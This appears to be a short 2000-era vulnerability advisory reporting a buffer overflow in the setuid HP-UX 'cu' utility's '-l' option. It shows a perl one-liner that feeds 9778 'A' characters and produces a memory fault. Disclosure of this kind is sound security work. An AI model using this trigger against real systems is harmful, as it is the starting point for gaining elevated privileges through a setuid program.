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    HPUX cu -l option buffer overflow vulnerability
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Date: 02/11/2000
Tested on HP-UX B.11.00

$ ls -la `which cu`
-r-sr-xr-x   1 bin          40960  9 avr  1998 /bin/cu

Using '-l' with a long option string:
$ cu -l `perl -e 'printf "A" x 9777'`
La connexion a  chou     : Requested device/system name not known

$ cu -l `perl -e 'printf "A" x 9778'`
Memory fault



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